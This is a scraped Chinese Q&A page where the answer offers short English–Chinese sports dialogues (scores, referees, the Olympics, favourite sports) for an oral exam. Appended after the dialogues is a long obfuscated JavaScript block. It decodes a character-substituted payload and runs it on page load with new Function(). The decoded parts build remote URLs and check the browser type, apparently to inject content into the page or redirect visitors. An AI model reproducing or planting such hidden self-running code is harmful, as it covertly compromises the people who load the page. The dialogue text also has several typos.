给一篇能读2分钟的英语情景对话,要中英翻译的

口语考试要用
2025-02-06 20:50:51
推荐回答(1个)
回答1:

上网搜的,楼主可以自己节选--想要查别的方面的,楼主可以去搜这个:
《大家说英语流行口语对话》
Talking About Sports 谈论体育运动

i---

A:Is the Chinese team taking the lead?
A:是中国队领先吗?
B:No,it's the
Japanese team.
B:不,是日本队。
A:Japanese teams always play a dark
horse.
A:日本队总是出人意料。
B:Well,their team owrk is well worth
learning.
他们的配合值得我们学习

Can you tell the result?
能告诉我比赛结果吗?

A:Can you tell the result?
能告诉我比赛结果吗?
B:It's love all.Now the score is
in our favor.
B:零比零(平局)现在比分对我们有利。
A:Can you tell which team seems to
win?
A:你猜哪个队会赢?
B:Hard to say.Now the score is in our
favor.
很难说,现在比分对我们有利
A:Yes.Our guest team is really
tough.
A:是啊,客队打得很顽强
B:They're still fighting hard.Let's wait and
see.
他们打的正紧张,我们等等再说。

What's the score?
比分是多少?

A:What's the score?
A:比分是多少?
B:The Ukraine team took the lead by 3 to 1
at the end of the first half.
上半场乌克兰队3比1领先。
A:The Russian team needs to
tie the Ukraine to get the pass for the final.
若能踢平乌克兰队,俄罗斯队就能出现了
B:It
doesn't seem to be so easy.
B:不容易呀!

----

A:The Phoenix team overpowered its counterpart 86 to
50.
A:凤凰队86比50轻胜对手。
B:They're absolutely right to get a replacement for
21.
他们把21号换下来是非常正确的。
A:If the Phoenix beats the Rocket,it will enter the
final.
如果凤凰队能打败火箭队的话就能进入决赛.
B:No way, if it still has
21.
B:有21号就不可能。

They manage a 99:80 victory.
他们以99:80获胜。

A:Which team won?
A:哪个队赢了。
B:The Spur.
B:马刺队
A:What was the
score?
A:比分是多少?
B:They managed a 99:80 victory.
B:他们以99:80获胜

The game ended in two all.
比赛结果二平。

A:Which team has won?
A:哪个队赢了?
B:Neither.The game ended in two
all.
哪个队也没有赢,比赛结果二平。
A:But I still think AC milan's defence seems better
organized.
但是我还是认为AC米兰队防守组织得更好.
B:But the Brazilian is
tougher.
B:但是巴西队更顽强。

I think he favors the host team.
我觉得他偏向主队。

A:I'm sure he was off-side.
A:我感肯定他越位了
B:But the ref didn't
whistle.
B:但裁判没吹哨
A:I think he favors the host
team.
A:我觉得他偏向主队。
B:Anyway, the host team seems to fight for the
gold.
不管怎么说主队好象是志在夺魁。

I think he deserved.....
我认为他的....当之无愧

A:I think he deserved his gold.
A:我认为他的金牌当之无愧。
B:Did you see his last
dive?
他的最后一次跳水你看见了吗?
A:Yes, it's perfect!
A:看了,太完美了。
B:He's diving
for the gold.
B:他是志在必得呀。

Is this your best score?
这是你的最好成绩吗?

A:In the discus throw,you scored 30 meters at the final throw.How did you
make it?
铁饼项目的最后一掷你投了30米,你是怎么投的呢
B:Well,I've been practising for 5
weeks.
B:我已经练了五个星期了。
A:Is this your best
score?
A:这是你的最好成绩吗?
B:No,once I did 32.
B:不,有一次我投过32米。

He won the first place!
他得了第一。

A:No.164 in lane 3 achieved 11'16" in the 100 meter dash.Isn't that
something
三道164号在百米塞中庖厨了11'16'的成绩.真了不起
B:Yeah.He's the most experienced
athlete in the field.
B:是啊,百米赛他最有经验。
A:He won the first place!

A:他跑了第一!
B:Good boy!
太棒了!

It was so perfect that it won a unanimous
10.
太完美了,裁判全给了满分。

A:Too bad you missed Jane's performance.
你没有看上珍妮的表演太遗憾了。
B:How's
it?
B:怎么样?
A:It was so perfect that it won a unanimous
10
A:太完美了,裁判全给了满分

It's one fo the highlights of the match.
这是比赛最精彩的场面之一

A:It's one of the highlights of the match.
A:这是比赛最精彩的场面之一。
B:What?

B:什么?
A:The wonderful passing Meladona did.
马拉多纳的那记传球太棒了。
B:Too bad
I missed it.
B:我没看到太遗憾了。

-----

A:What do you think of the Olympic motto "Higher,faster adn
stronger"?
你怎么看“更高、更卡、更强”的奥林匹克口号?
B:Well, it's better than "Friendship
first, competition second".
比”友谊第一,比赛第二“强。
A:Why?In my opinion,it doesn't
matter whether you won or not.The most important thing is
participation.
为什么?在我看来的不得名次并不重要,重要在于参与。
B:I still think nobody plays for
nothing.
我还是觉得参加比赛无所求的人没有的

A beautiful.....!
好漂亮的.....!

A:A beautiful center (comer-kick/heading)!
A:好漂亮的传中(角球、头球)!
B:And good
shot!
B:好球!
A:A goal!
进了!

------

A:I hope the host team loese.
A:我希望主队输掉。
B:That all depends on how the
visiting team shapes.
B:那要看客队表现怎么样?
A:According to the papers, the
visiting side is a strong team in America.
根据报道,客队是美国得一只强队。
B:But two
players of the team have been booked and one is out.
但是两个队员被亮了黄牌,一人被罚下.

I suppose he's not in top form.
我倒觉得他发挥不正常。

A:What do you think of the former champ?
A:你觉得上届冠军怎么样?
B:There were
some bad misses in his defence,so he lost it.
但在卫冕中有些失误,所以他失败了
A:No
champion can remain at the top for ever.
A:没有常胜的将军。
B:I suppose he's not
in top form.
B:我倒觉得他状态欠佳。

They aren't evenly matched.
他们的实力不相当。

A:What do you think of AC milan and the team of
Argentine?
你觉得AC米兰队和阿根廷队怎么样?
B:They aren't evenly
matched.
B:他们的实力不相当。
A:Yes,I think AC Milan's foot work is much better on
the whole.
我同意你的观点.但是米兰脚下的工夫从总体上来看要好一些
B:Yet the Argentine attacker is
worth a bet.
但是阿根廷的前锋值得一赌。

I'm amazed.....
我真奇怪......

A:Did you watch the old-fashioned wrestling game last
night?
昨天晚上的旧式摔交你看了吗?
B:Yes,of course.And I'm amazed the those karate and
judo boys were so heplless before the
wrestlers.
当然,我真奇怪空手道和柔道队员在摔交手面前竟不堪一击
A:You bet.The wrestlers had got
sound defences and they simply couldn't make it.
就是嘛,摔交手防守严密,无懈可击。

What's your favorite sport?
你最喜欢什么运动?

A:What's your favorite sopot?
A:你最喜欢什么运动?
B:Swimming.What about
you?
B:游泳。你呢?
A:Indoors activities,such as chess and
gymnastics.
室内运动,象棋类拉,健美体操啦。

I like....very much,but I can't play
well.
我很喜欢...,但是我打不好。

A:Table-tennis is our national game.
A:乒乓球是我们的国球。
B:Yes, I like
ping-pong very much,but I can't play well.
不错,我很喜欢乒乓球,但是我打不好.
A:I
can't,either.I like watching.
A:我也不行,我愿意看球

-----

A:I hear you jog every day.
我听说你每天都进行慢跑锻炼。
B:I'm doing it for fun and
fitness.
我跑着玩,还能健身。
A:I think maybe one day you can take part in the
walking race.
我觉得你有朝一日可以参加竞走比赛.
B:At the age of 64?You're
kidding!
64岁参加竞走?你真能开玩笑。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();